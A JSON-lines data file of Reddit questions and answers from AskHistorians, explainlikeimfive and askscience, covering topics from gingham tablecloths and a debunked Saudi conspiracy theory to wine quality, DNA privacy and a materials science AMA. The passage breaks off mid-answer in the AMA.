{"q_id": "283dou", "title": "How did red and white checkered tablecloths become associated with Italian restaurants?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/283dou/how_did_red_and_white_checkered_tablecloths/", "answers": {"a_id": ["ci7e1lf"], "score": [10], "text": ["These types of tablecloths are fairly prevalent in British Cafe's, although usually made of plastic.\n\n Barring any relation to Italian culture specifically, the cloth that you are referring to is known as 'Gingham' and was originally two separate fabrics of different colours woven together, as opposed to dyed afterwards.  \n\nThis [book](_URL_0_) \nreferences Gingham fabric as fashionable in the 18th Century, whereas there is fairly comprehensive information placing Ginghams origins in the 1600's with its importation to the UK through the East India Company [here](_URL_1_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.ee/books?id=e3evAwAAQBAJ&amp;pg=PA170&amp;dq=gingham+history+fashion&amp;hl=en&amp;sa=X&amp;ei=C2KcU7zoCNKM7Ab19IHACQ&amp;ved=0CC4Q6AEwAw#v=onepage&amp;q=gingham%20history%20fashion&amp;f=false", "http://books.google.ee/books?id=IPppPgAACAAJ&amp;dq=Indian+Textiles+in+the+East:+From+Southeast+Asia+to+Japan&amp;hl=en&amp;sa=X&amp;ei=JWGcU8eyGcqg7AbV04HYCA&amp;ved=0CBwQ6AEwAA"]]}
{"q_id": "8jd7nr", "title": "There's some nonsense going around that the Saud royal family are actually Jewish? Where is this coming from and why is it bullshit?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8jd7nr/theres_some_nonsense_going_around_that_the_saud/", "answers": {"a_id": ["dyz2mro", "dyz2q29"], "score": [2, 4], "text": ["Heya! I think you'll get a better response at /r/geopolitics or maybe /r/AskSocialScience--they're better prepared to talk about anti-Jewish conspiracy theories (which this is--accusing people of being secretly Jewish is a way of tarnishing them while reinforcing antisemitism) in the context of modern politics than a history subreddit is. Those subs can talk about where the current accusations are coming from, and why those people are making them.\n\n[Our FAQ](_URL_0_) has some earlier answers on religions in Arabia before the rise of Islam (which included Jewish kingdoms), and on the peninsula more broadly Yemen had a Jewish community until very very very recently. But as you'll see, this has nothing to do with the present royal family of the KSA.\n", "Its essentially a conspiracy theory that has existed since at least the 1880s. The theory has two elements: the first is that wahabbism itself, the Saudi guiding ideology, was cooked up by Jews to discredit Islam while the second is that the Sauds themselves are literally descended from a Jewish family. \n\nThe first comes from a series of documents called *Memoirs of Mr. Hempher, The British Spy to the Middle East* - they purport that a British spy arrived in Saudi Arabia with the goal of weakening Islam from the inside out. By creating a culture of vice that would spread across the Islamic world, this spy hoped that the Ottoman Empire would be weakened enough that the English could sweep in and seize the land. Hempher finds a young Al-Wahhab, the eponymous founder of Wahhabism and together they cooked up the Wahabbi sect to discredit Islam. \n\nIts pretty nakedly a work of pure fiction, probably written in the late 19th century by *Ayyub Sabri Pasha* to discredit both the English (who at the time were competing heavily with the crumbling Ottoman Empire in the Persian gulf and Egypt) and the Saudis/Wahhabis (who at the time were similarly at loggerheads with the Ottomans over control of the Arabian peninsula). Over time the story has mutated and, unsurprisingly, Jewish people ended up getting tangled into it - variations exist over who exactly in the story was Jewish, with some claiming Wahhab and others Hempher and others both. Either way, its assuredely nonsense. \n\nThe other one is a little easier - that part is technically **not** nonsense. The Saudis do descend from Jews, as do millions of Arabs. King Faisal himself even said as much back in the 70s. Before Islam, Judaism was pretty prevalent on the Arabian peninsula and many members of the tribe from which the Sauds claim descent, the Anizzah, were Jewish. This doesn't make the Sauds *ethnically* Jewish, of course - these people would've been ethnically Arab converts who picked the religion up through trade like most Jews on the peninsula at the time. \n\nSo yes, feel free to assure your coworker that it is essentially nonsense. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/middle_east"], []]}
{"q_id": "4i1v7y", "title": "Is it true that the Russians played messages on loudspeakers to demoralize german troops in stalingrad?", "selftext": "\"Every seven seconds a german soldier dies in Russia. Stalingrad is a mass grave.\" I the one O've heard of, but I can't find a source. I've also heard they would play music, or messages telling troops to surrender.\n\nKnow anything about this? Any sources on stalingrad in general, I'd love to read more about it, fascinating situation to me.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4i1v7y/is_it_true_that_the_russians_played_messages_on/", "answers": {"a_id": ["d2vcrfu"], "score": [2], "text": ["Did the opposite happen as well? I remember that on the movie \"Enemy at the Gates\", there is a scene in which the germans do just that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4f6rme", "title": "why is papa john's garlic sauce sometimes creamy and sometimes oil?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4f6rme/eli5_why_is_papa_johns_garlic_sauce_sometimes/", "answers": {"a_id": ["d26c55i", "d26car3", "d26cbyc", "d26ecd4", "d26emmp", "d26enpn", "d26etv1", "d26ga4a", "d26hsai", "d26jgto"], "score": [165, 41, 14, 2, 6, 2, 4, 3, 2, 2], "text": ["The \"creamy\" and \"oily\" sauce are exactly the same thing.  The sauce is \"creamy\" at low temperatures, and melts at warm temperatures (such as being delivered in the box with a hot pizza). ", "If you shake the shit out of it before you open it, it's always creamy. I don't know what chemical cocktail is in it, or how it works, I just know that it works.", "Pretty sure it says shake before opening on it. Shaking mixes everything and makes it creamy.", "Thank you for this post. Wondered this so many times. Would always get slightly pissed/disappointed whenever I opened it without shaking it enough.", "Because an emulsion is used to make the mixture hold and to preserve it. The formula may vary sometimes.\n\n\n\n\n\nPapa bless", "I work at Papa John's and shudder when people order a pizza or even garlic bread sticks with like 4 extra garlic dips. \n\nI find them disgusting but I've never seen them in creamy state of only seen them liquid so that could be the reason.\n\nHowever reading this thread I will try to shake one of those garlic tips next time to see if it makes a difference and report back", "The garlic \"sauce\" is actually garlic butter, but more like \"I can't believe it's not butter.\" Higher temperature in the pizza box causes separation, making it oily. ", "When I was working at PapaJohns (driver) I had a lady furious that her garlic sauce wasn't runny. She insisted that I go back to the store and exchange the creamy sauce for the thinner runny one. I tried explaining to her that it was the same sauce, that it was cold and that if she'd let it warm up it would be thin and runny. She wasn't having it. She called the store and talked to the manager who told her exactly the same thing. \n\nLegendary customer.", "I am not from the States so have never seen the sauce but it sounds like a regular emulsion. Basically, an element is introduced to a solution that allows water soluble molecules to bind to one end of the particle and oil soluble molecules to bind to the other. Egg yolk is used in this way to make a mayonnaise or a Hollandaise sauce. Egg white can be used to emulsify a vinaigrette. The emulsification process can break down over time or due to other factors such as heat, over-agitation etc. Normally, in commercial sauces, a different emulsifying agent is used. A quick shake of the bottle (does it come in a bottle) once it has cooled down should be enough to re-emulsify it.", "If it's \"creamy\" when it's cool and clear and runny when it's warm, it probably contains the type of fats that will clog your arteries.  \n\nYou should find a good, family-owned pizzeria where they use old-world family recipes and the owner is on the premises every day.  You *may* pay a little more, but, they'll generally be using higher-quality ingredients like olive oil, rather than hydrogenated mono-saturated oils or palm kernel oil.  They'll use good provolone or mozzarella made from milk, instead of \"cheese-food-product\" made from vegetable oil.\n\nAnd the best part is, the money you spend at *THAT* pizzeria will STAY in YOUR NEIGHBORHOOD.  Papa John's revenue goes to their corporate offices in Louisville, Kentucky.  Some chains are owned by parent companies that aren't even in the U.S. and your hard-earned money then leaves the country and goes overseas.  If you buy locally, the folks that run the place (your neighbors) are proud owners, instead of depressed drones who follows the predatory directives of some faceless corporate overlords.  Better neighbors, better ingredients, *NOT* Papa Johns."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "3z716i", "title": "how can corrupted gifs appear to motion track parts of the image?", "selftext": "[Like in this gif.](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3z716i/eli5_how_can_corrupted_gifs_appear_to_motion/", "answers": {"a_id": ["cyjs3ye"], "score": [4], "text": ["Technically speaking, it's not the gif that's corrupted, it's the source video. \n\nVideo compression works based on the similarity between consecutive frames. For each frame, only the difference from the previous frame is stored. For example if a character in the video moved one pixel to the left, the video file will store this info. However, if you took this difference and repeated it, then the pixels will move again and again. "]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/c3pXriE.gifv"], "answers_urls": [[]]}
{"q_id": "4pi84y", "title": "In your own opinion; how similar is the political rhetoric of Adolph Hitler, and Donald Trump? How similar are their campaign tactics?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4pi84y/in_your_own_opinion_how_similar_is_the_political/", "answers": {"a_id": ["d4l52b4"], "score": [2], "text": ["This submission has been removed because it involves current events.  To keep from discussion of politics, we have a [20-year rule](_URL_1_) here.  You may want to try /r/ask_politics or another current-events focused sub. For further explanation of this rule, feel free to consult [this Rules Roundtable](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/45wqkl/rules_roundtable_5_the_current_eventsmodern/", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_current_events"]]}
{"q_id": "4egjfh", "title": "what makes a good wine superior to other wines, other than a person's preference?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4egjfh/eli5_what_makes_a_good_wine_superior_to_other/", "answers": {"a_id": ["d1zw2g8", "d1zx3dq", "d1zxn4f", "d1zy6en", "d20jz7r"], "score": [13, 36, 7, 2, 5], "text": ["In my experience, it's simply preference. In fact, there have been studies where \"experts\" have routinely misidentified white wines coloured red with food colouring as red, with traditional descriptive characteristics of red wines, and not identified the wine as actually being white.\n\nNow, that said, one can often discern taste differences of wine, rather than the quality of the wine, and those taste differences are entirely subjective, and perceptions of such can even be altered by the context in which the wine is imbibed.  Complementary pairings of wines with food are geared to make sure wines with particular flavour characteristics match the same characteristics of the food, rather than having them contrast greatly, akin to the citrus beverage and toothpaste mix, on a less terrible scale. :)\n\nHere's comes the science:\n_URL_2_\n_URL_1_\n_URL_3_\n_URL_0_\n_URL_4_", "Complexity is generally the difference between superior and inferior wines. For you, the best wine is the wine you like best. However, lower quality wines tend to be \"one note\" while superior wines have a beginning, middle, and end, with \"a chord\" of flavors that are characteristic of their style/region. Both cheap and expensive wines can have flaws due to contamination or poor chemical stability. Some people may prefer these \"off\" flavors, such as those produced by Brettanomyces yeast.", "I'm not a wine expert by any means, but in my experience, nicer wines have a richer, fuller taste, with more complex flavors and a rich aftertaste, while cheaper wines, like box wine, are a bit weaker and simpler, with kind of a vinegarry aftertaste.  Finer wines also have a more distinct, richer smell, while cheaper wines smell more generic and vinegary.\n\nYes, there was a study where wine tasters mischaracterized a white wine as a red wine with food coloring, but that's more an indicator of our perceptual interferance than it is proof that \"wine tasting = bullshit\".  I've had wines that surprised me and dissapointed me.  I've revisited wines i hadn't tried for a while and been surprised by how much i like them.\n\nThere is definitely some subjectivity to this, and a lot of it depends on one's mood.  Just like if you feel like a coke, sprite isn't going to taste as good at that point, if you feel like a cabernet sauvignon, a chardonay isn't going to taste as good to you at that particular moment.  \n\nI have a friend that makes wines, and he tries to enter his wine in tastings in the early afternoon immediately after lunch, since people tend to rate wines higher at that time of day compared to mid morning or late evening.", "Personal preference for sure matters, but this is the case for pretty much everything: from food and music to travel and people. \nWine experts seem to take into account factors like the wine's body (does it feel like water in your mouth, or it's more \"velvety\"), complexity of aroma, aftertaste (does it leave a unpleasant taste in your mouth). Not to mention how you feel a few hours after drinking it.\nAt the end of the day, it all comes down to the quality of the first material and what the winemaker was able to do with it.", "Wine, like anything humans taste, has different degrees of quality. And, like all things humans can taste, it's important to approach this question in the proper context.\n\nThink about the subject of quality as having two aspects: subjective and objective. Subjective quality answers the question: Do I like it? Objective quality answers the question: Is it well made?\n\nWine experts typically focus on the objective aspects of quality when they assess a wine, and while they all readily acknowledge that personal preference is impossible to completely ignore, the whole point of wine assessment is to minimize the subjective aspects.\n\nWhy minimize the subjective aspects? Well, imagine you're studying art and you want to learn all about the masters of the different genres of painting. Of what use would an art blog be to you if it basically just went through a bunch of pieces and said, \"Like it. Like it. Ugh, don't like this one. This one is good though because I like it.\" That would be pointless. You're not interested in studying *the blog author's preferences*, you're interested in studying *the art*.\n\nSimilarly when you read wine tasting notes, presumably you know what your preferences are already. What you're looking for from the expert is: Does this wine match my preferences, and if so, is it well made?\n\nSay that you like strawberries and pepper notes in a wine, and you hate mineral and floral notes. If an expert writes up a wine and says, \"Poorly made wine with strong notes of strawberries and pepper,\" that's a miss for you because, while it has the characteristic profile you enjoy, it probably won't be the best expression of those things because it's poorly made. On the other hand, if the expert says, \"Excellently made, perhaps one of the best expressions of lilacs on the nose with strong notes of flint and limestone on the palate,\" that's also probably a miss for you. While it's well made, you don't like those flavors.\n\nNow let's say you find another wine with the strawberries and pepper notes you love, but this one is excellently made. Instead of these flavors being kind of muddled together and muted, as in the first wine above, these notes come through loud and clear, and well separated\u2014each one rings clear as a bell across your palate.\n\nWhich one are you going to be willing to pay more for? Obviously, the better made one with the more pronounced flavors. This, in a nutshell, is why superior wine costs more.\n\nThe question is why do the flavors behave differently, and what does a winemaker have to do in order to make that happen? It turns out there's a lot, and it's generally a lot more expensive to produce a higher quality wine. For one thing, more fruit typically goes into a wine with stronger flavors...it literally takes more grapes to produce a better quality bottle. And, often, more land has to be dedicated to grow those grapes...rather than cramming as much fruit as possible on the vineyard and going after highest yield, a better wine is made from a vineyard that prunes back to get more concentrated fruit. There's also better management of the fruit once it's picked, and different approaches to fermentation with different yeasts that can change the flavors\u2014a good winemaker with a lot of experience can put together all of the right elements so that the character of the particular wine is harmonious and enhanced, rather than add notes that will hide the positive aspects of the fruit.\n\nOne example of this is over-oaking white wines, particularly Chardonnay. In the 2000s, it became popular for winemakers that had a poor crop of Chard grapes to simply through them in oak and let them sit there for way too long...the wood notes basically would just eclipse whatever problems the wine had and you'd wind up with a buttery, toasty wine with lots of vanilla...which a lot of people liked, but it basically doesn't much matter what fruit you start with if you give it this treatment.\n\nSo that's one example, hopefully it gives you some idea of what this is all about... (Again, keep in mind that almost nothing I've said above is unique to wine. We could be talking about just about food or beverage that takes skill to make.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.realclearscience.com/blog/2014/08/the_most_infamous_study_on_wine_tasting.html", "http://www.theatlantic.com/health/archive/2011/10/you-are-not-so-smart-why-we-cant-tell-good-wine-from-bad/247240/", "http://www.caltech.edu/news/wine-study-shows-price-influences-perception-1374", "http://www.businessinsider.com/expensive-wine-isnt-better-research-2014-7", "https://www.theguardian.com/science/2011/apr/14/expensive-wine-cheap-plonk-taste"], [], [], [], []]}
{"q_id": "9vuk4i", "title": "why do potatoes not taste sweet, while other starchy foods like corn and squash do?", "selftext": "Edit: I know the difference between simple and complex carbs, but corn and potatoes are both composed of starch, so why is the corn sweet?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9vuk4i/eli5_why_do_potatoes_not_taste_sweet_while_other/", "answers": {"a_id": ["e9f69ns", "e9f7u7e", "e9f82oy", "e9fb1ea", "e9fklgl", "e9fpxlq"], "score": [3, 3, 21, 3, 61, 4], "text": ["There are a lot of different types of potatoes, and some are sweet like the other starchy vegetables. Farmers in North America tend to primarily grow only a few different types of the many available strains of potatoes, and most of these aren't of the sweeter variety.", "Something you can do with many \"starchy\" foods (although I'll be honest I've not tried this with potatoes) like bread, is take a bite and chew it.  Initially it doesn't taste sweet, but as the enzymes in your saliva break down the carbs you will taste the sweetness of the sugars :) ", "Simple carbohydrates such as sugar can trigger the sweet sensation. Starches are complex carbohydrates they need to be broken down into maltose, a type of sugar to taste sweet. That is why when you chew the bread for a very long time, the saliva helps to produce sugar in your mouth, you can taste some sweet.\n\nFruits containing simple carbohydrates usually have much shorter shelf life. Potatoes and wheat/rice usually contain mostly complex carbohydrates, they are more stable for longer storage. Extreme complex carbohydrate such as wood, is very stable, they can be used to make long lasting items such as furniture. If you can find a way to break down wood into starch or sugar, you could solve the world's hunger problem.\n", "Have you never had a sweet potato? Also squash and corn are usually not sweet until they've been cooked and the polysaccharides have been turned into sugars. ", "Potatoes grow underground and are used to store nutrients for plants: they're basically really fat roots. Corn and squash are both the reproductive \"fruits\" of the plant. Starches and sugar are both made of the same molecules: carbohydrates. The only difference is that starches are several thousand times larger, which allows them to store nutrients denser and more efficiently. ", "It's a complex carb. So if you take a bite and hold it in your mouth for a while, your saliva enzymes will gradually break it down into more simple carbs and taste sweet. \n\nCarbs\n\nComplex = polysaccharide (least sweet)\nSimpler = disaccharide \nSimple = monosaccharide (most sweet)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "d0p3r9", "title": "why should we be cautious of giving our dna and information to certain companies (eg. ancestry tests and the government)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d0p3r9/eli5_why_should_we_be_cautious_of_giving_our_dna/", "answers": {"a_id": ["ezb9rjm", "ezb9wrd", "ezbajs9", "ezbbohc", "ezbcblq", "ezbedwf", "ezbjuh8", "ezbn2ls", "ezbnnt8"], "score": [5, 6, 23, 10, 2, 9, 3, 3, 2], "text": ["Send me all your details in a PM; if your instinct said no, the feeling of reluctancy you get is your answer.", "Identifying you based on distinct sub sequences, identifying genetic tendencies, maladies and preferences, and identifying how you can best be manipulated to name a few issues.\n\nThat said, there are lots of medical and historical breakthroughs that come from sequenced DNA too.", "Do you want your name to show up on a list of people \"genetically predisposed to violence\" after a cousin you never knew you had rapes someone? \n\nDo you think there is anyone that would hold your ancestry against you if they knew? How sure can you be that such a person will never gain power over you and access to this information? How sure are you that such a person will never gain power over your children or grandchildren? _URL_0_\n\nAlso, you should watch Gattaca, if you haven't already done so.", "There is a presumption that life/health insurance companies can use this data to exclude you from plans you would otherwise be eligible for, all because you carry a specific set of genes that could lead to a disorder that is treatable at a net loss to said company.", "Pretty much the same reasons people dont want googled home listening to their conversation.\n\nIt LIKELY won't cause you any problems or ever matter..... But it might.", "Biological profiling. You may have a gene that predesposes you to anything, be it criminal or medical. That information could be sold to law enforcement, advertising agencies, etc.\n\nAlso if you have some mutation that is of interest at some point they would legally be able to use your DNA to do research and potentially profit from it.\n\nAnd of course it is the fabric of your existence, even if it doesn't have much use now there's no telling what the government might want to do with it later.\n\nThis may sound like tinfoil hat nonsense, but I honestly don't trust my government, or any other government enough to give them my DNA just so I can know which region of Europe my ancestors came from.", "All the above answers plus - how would your life change if you found out tomorrow your father isn\u2019t your biological father, your brother is really a half brother.. stuff like that.\n\nPlus, if my mom turns out to be a serial killer, I\u2019d rather she got caught from not paying attention to all those Law and Order shows she watches 24/7; not because I wanted to know what percentage of me is Scottish.", "I\u2019ve been turned down for life insurance- flat out \u201cuninsurable\u201d because of a genetic predisposition; i.e. not actually having a disease, but being at higher risk for it.", "You can't change your genetic identity if it gets stolen and misused.  Mistakes can cause huge problems."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/List_of_ethnic_cleansing_campaigns"], [], [], [], [], [], []]}
{"q_id": "1ijzx5", "title": "AskScience AMA Series: Materials Science!", "selftext": "Hello everybody! Have you ever wondered what it's like to work at the cutting edge of physics, chemistry, and engineering? Today, our purple, blue, and red panelists will post about their adventures and advances in materials science! It's a field that aims to describe how materials behave and applications thereof. \n\nMaybe you're curious about:\n\n* how to design new materials to target specific applications?\n* how to understand matter at tiny length scales?\n* how to measure things at extremes of temperature and pressure?\n\nMaybe you'd really like a clarification on:\n\n* nanotechnology?\n* amorphous materials?\n* phase transitions?\n\nPerhaps you've thought about:\n\n* how to make solar cells and night vision goggles? \n* how to use radiation to understand matter?\n* how to get heat and energy to do work for us?\n\nSometimes there are interesting puzzles that need solving, like:\n\n* what do wrinkles and folds have to do with responsive materials?\n* what do magnets and superconductors have in common?\n* what is special about thin films and membranes?\n\nLet's try and get all of these questions answered and more!\n\nHere's how today's AMA is going to work. Wait for a panelist to post a short description of their research, and then ask away! Ask follow-up questions if you don't understand something. That's part of the fun. If you're curious about what it's like to be a scientist or engineer, this is an excellent time to ask about it - feel free to ask what is on your mind!\n\n**Edit**: This is fantastic - [we're getting a steady stream of questions](_URL_0_)!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ijzx5/askscience_ama_series_materials_science/", "answers": {"a_id": ["cb56jak", "cb56pzr", "cb56xk0", "cb56yry", "cb57m58", "cb57rc3", "cb57uuj", "cb57vvd", "cb58abj", "cb58d2f", "cb58e65", "cb58gvf", "cb59hzo", "cb59l74", "cb59q87", "cb59qdq", "cb59qkf", "cb59rz2", "cb59tm2", "cb5a8lt", "cb5abve", "cb5adq1", "cb5aoxf", "cb5az1f", "cb5b1yt", "cb5b5nm", "cb5batd", "cb5bemi", "cb5bi4e", "cb5bk61", "cb5bkbo", "cb5bnnb", "cb5bwrd", "cb5byoo", "cb5c6kp", "cb5c9xp", "cb5cdej", "cb5cmcq", "cb5cnlq", "cb5co87", "cb5d6a1", "cb5ddgx", "cb5diz4", "cb5dncz", "cb5dpws", "cb5dq6z", "cb5e20b", "cb5e8qi", "cb5eavg", "cb5ew8l", "cb5ewu4", "cb5eydb", "cb5f1nz", "cb5fw2l", "cb5g6ob", "cb5gef2", "cb5hbd3", "cb5hrfa", "cb5i3wd", "cb5i9lu", "cb5ioyw", "cb5jfwu", "cb5jtp0", "cb5k0ya", "cb5k6jz", "cb5l363", "cb5lf7w", "cb5lkxm", "cb5lujt", "cb5lv4p", "cb5m3ne", "cb5ml3o", "cb5n95y", "cb5necn", "cb5nk6r", "cb5o73j", "cb5pouj", "cb5ppqp", "cb5qiu1", "cb5qymt", "cb5rewp", "cb5s181", "cb5s4s1", "cb5s9rr", "cb5si64", "cb5tfhi", "cb5u1j2", "cb61hpp", "cb66vog", "cb699vq"], "score": [9, 13, 21, 48, 17, 8, 64, 59, 5, 6, 9, 2, 5, 10, 7, 12, 3, 14, 17, 2, 3, 2, 4, 2, 2, 3, 9, 2, 6, 2, 4, 5, 3, 2, 2, 7, 3, 3, 4, 2, 4, 2, 7, 2, 2, 2, 3, 2, 2, 2, 5, 2, 2, 2, 2, 2, 8, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["I'm not an official panelist, but my dissertation work was on simulations of nanofabrication processes, with a focus on the formation nanodots, nanorings and nanowires. I've since been interested in simulation methods incorporating elasticity and strain.", "At the risk of compromising anonymity, I study DNA molecules squished into very small tubes, with diameters around 100 nanometers. We are interested in this mainly for two reasons: because the physics of squishing things into small spaces is inherently interesting, and because DNA stretches out in tubes making its genetic information more accessible.", "My thesis work was in **acoustic emission of phase transformations**. [_URL_0_ copy of paper 1 is here](_URL_3_), and [copy of paper 2 is here](_URL_2_). If I recall correctly, both of these versions are slightly different than the final published versions; if you have paywall access, I recommend searching the paper title and getting the final version. [Thesis is available here](_URL_1_).\n\nI can also answer any questions about **metallurgy**, **materials science**, and what it's like to have a sesquipedaliophobic job title on my business card.\n\nI know that this field has a lot of jargon, so really quickly:\n\n* *Acoustic Emission* is a result of a rapid energy release in a material that produces a sound/pressure wave. Typically, it's measured in the ultrasonic range by a piezoelectric transducer hooked up to a computer. Things like crack extension, solidification for many materials, certain transformations (e.g. martensite in steel), and sometimes dislocation movement in metals all generate acoustic emission. It is used in geology quite frequently as well as structural monitoring and sometimes characterization of materials.\n\n* *Phase transformations* are any time the atoms or molecules in a material reorganize to a different state. Typically, one would think of the three main phases of water - ice (solid), water (liquid), and steam (vapor). But, there are actually several different ices that water can form. (For the panelists, this is probably a very broad and vague definition, but I hope it captures the way that materials scientists tend use the word \"phase\" as almost a slang term).", "Hi everybody,\n\nMy degrees (BS, MS, PhD) are a mix of physics and materials science. My research focuses mostly on electrical/thermal/spin transport in crystalline solids, which means that I study different types of materials and try to engineer their properties for various applications, typically in relation to thermal energy management. \n\nSometimes this means doing some very fundamental science, and sometimes it means taking a more practical engineering approach. For example, thermoelectric materials have a wide variety of potential uses, including solid state cooling and waste heat recovery -- but a lot of research on these materials still requires some very basic exploratory work on what types of elements and crystal structures work well for this effect, how to best synthesize the compounds, etc. \n\nI spend a lot of time planning experiments, making new materials, examining their structure, and measuring their properties throughout a wide range of temperatures. I've held about half of the periodic table in my hand at some point in my career so far. Some days I sit at a desk working out quantum mechanics, some days I turn wrenches to set up and fix experiments, and some days I get to sketch diagrams for publications with colored pencils. \n\nIf you have any questions about materials for energy applications, please ask away! I'm in the lab all day running tests, but I'll pop in and answer when I can.", "Hello Askscience,\n\nI study surface instabilities - wrinkles, folds, creases, and the like. There are many methods for creating these kinds of structures, but in general they form as the natural response of some material system to an applied compression. Also, the phenomena are typically independent of scale - wrinkling, for example, occurs over tens to hundreds of meters in the Earth's crust, but also in nanometer-thick films. This means we can use these processes to give surfaces micro- or nano-scale 3-D structures/textures without resorting to costly, time-consuming processes such as photolithography or beam etching.\n\nThese processes are also often reversible, which allows them to be a basis for surfaces with responsive texturing. Some applications of this would be surfaces with switchable optical properties (e.g. a window you can turn on and off), tunable adhesion, responsive camouflage, or chemically-sensitive microfluidics.\n\n[EDIT](_URL_1_) [to](_URL_4_) [add](_URL_0_) [some](_URL_5_) [pretty](_URL_2_) [pictures](_URL_3_).", "Even as a scientist, what I do is often process engineering.  My MS (EE) was on molecular electronics or using self-assembled monolayers as the active region in a device.  My PhD was on engineering surface states on silicon using organic compounds.  Essentially, the organic molecules form a covalent bond to a silicon wafer in high vacuum.  They are very small (7 Angstroms) and even though they were dense, I spent years just trying to prove they were there.  After that, I got a job in industry developing processes and devices for solar, night vision, and LED markets.\n\nI can answer questions about semiconductor physics, vacuum deposition techniques, and metrology for characterizing the results.  A great resource (plug for something I helped develop) is this undergraduate course in [Nanoscience](_URL_2_) and all the information including labs is public!  \n\nEdit for photos!  [Thin-film interference](_URL_1_) and [Filtered cathodic arc plasma source](_URL_0_)", "Nice general question for all the panelist. Most scientists get to play with cool things, either for making something or analyzing something. What is the coolest instrument you use? How do you use it? How does it work?", "Hello everyone! I work with superconducting and magnetic single crystal materials, primarily doing synthesis and basic (first step) characterization. On the superconductor side, I've worked mostly with iron arsenide based materials and high-Tc cuprates. On the magnetic materials side, I've worked mostly with pyrochlore and spinel frustrated magnets. My primary expertise is really in the synthesis side, and I'm mostly here to answer questions about single crystal vs powder, amorphous and thin film samples.", "So I have a super technical question, am I allowed to ask that? I hope so. I notice you mentioned amorphous materials in the description, does anyone know anything about the spectral density of phonons in thin film (or bulk) amorphous solids? Or have any good resources I could look at?\n\nMy apologies in advance for the over technicalness of this question.", "I have a BS in physics and am currently working on my MS in material science! I have done post-graduate work on the creation of high-strength rare-earth-free permanent magnets. I've also done work with Gallium Nitride (GaN) nanowire synthesis via chemical vapor deposition.\n\nI presently work for a company that makes portable XRF analyzers. Basically, they are X-ray guns that tell you the elemental chemistry of what ever you are analyzing in seconds. We also make portable XRD systems as well.", "My work as a whole gleefully cuts across disciplinary boundaries, but one of the major themes is the role of lipid membranes in biological systems.  Here, the interest is in understanding the physics and chemistry of membranes, and how they interact with proteins, small molecules, and other stimuli (pressure, temperature, *ad infinitum*).   What kinds of organization exists - if any - in biological membranes that might compare to what we see in model membrane systems (often composed of specific mixtures of different lipids)?  What makes for a good model membrane system?  How can we study these mixtures, especially if we're also studying proteins and protein complexes associated with these membranes?  How does this tie into the burgeoning movement of being more realistic in biochemical investigations, appreciating the high ion concentration and macromolecular crowding found in actual cells?  Here, the emphasis is on understanding the physical and material properties of organisms, and avoiding getting lost in the increasingly complicated and overlapping functional pathways.\n\nThe bulk of my experience is with solid state NMR and neutron scattering methods, although it's been a little while since I last did any neutron scattering (been meaning to get back to it one of these years....).  I've done other things here and there over the years as necessary, of course.  ", "I've read about metallic glass (amorphous metal) being used as a biomaterial ([one reference](_URL_0_)). How does the lack of lattice structure allow the material to be absorbed by the body?", "I'm looking to go back to school for a degree in MSE (or PC or SSP or something similar). Can you guys explain a bit about the differences between the fields? \n\nAnd a follow-up (more for the MSE guys, because the answer to the others is a little more obvious): should I look at starting in Chemistry or Physics if I choose MSE?\n\nAnd as one last bit: What do you find the most fun about your particular field?", "What are the practical applications of graphene?\n\nWill it change the manufacture of other items?", "I'm a bridge engineer. There are three structural materials we use; steel, concrete, and wood. Within those three types we generally stick with a small range of variance, if we leave standard conventions it's generally due to cost. \n\nHow do you see material science changing public works projects, like bridges, in the future?", "I'm a Materials Engineer and would love to partake but don't have any flair.  If anybody has questions about the engineering applications I can field areas especially related to casting and solidification, and forensic metallurgy.", "I'm not sure if this is fully relevant, but the question 'how to make solar cells and night vision goggles?' sparked my interest. Currently, night vision goggles are like putting two toilet rolls in front of your eyes, limiting your field of vision. What are the challenges in making a night vision goggles that gives you your full range of vision, which I would imagine would look much like a snowboarding goggles?", "I am not an official panelist either. My research field are Li-ion batteries. I have been in this field for almost 10 years, from my MSc working on cathode materials, through my PhD developing in-situ diffraction techniques at synchrotrons and neutron sources to study processes in Li-ion battery materials while they are working, to my current job developing new materials for solid-state batteries (i.e. fully solid batteries that do not need a liquid electrolyte).\n\nIf someone has a question about Li-ion batteries, fire away!", "Hi there.  Don't see any graphene panelists here yet so I guess I'll jump in.  I synthesize graphene via the thermal reduction of graphite oxide, functionalize it via applying n-type dopants, and then use it in making super capacitors and lithium ion batteries.", "So, this is the first time I've actually had a specific question. \n\nRecently, I've become very interested in the LFTR technology and the new generation of nuclear reactors. One particular materials problem is finding a material that can separate the two fluids in a two fluid molten salt reactor. This material would need to withstand both high temperature and highly corrosive fluoride salts like FLiBe and/or 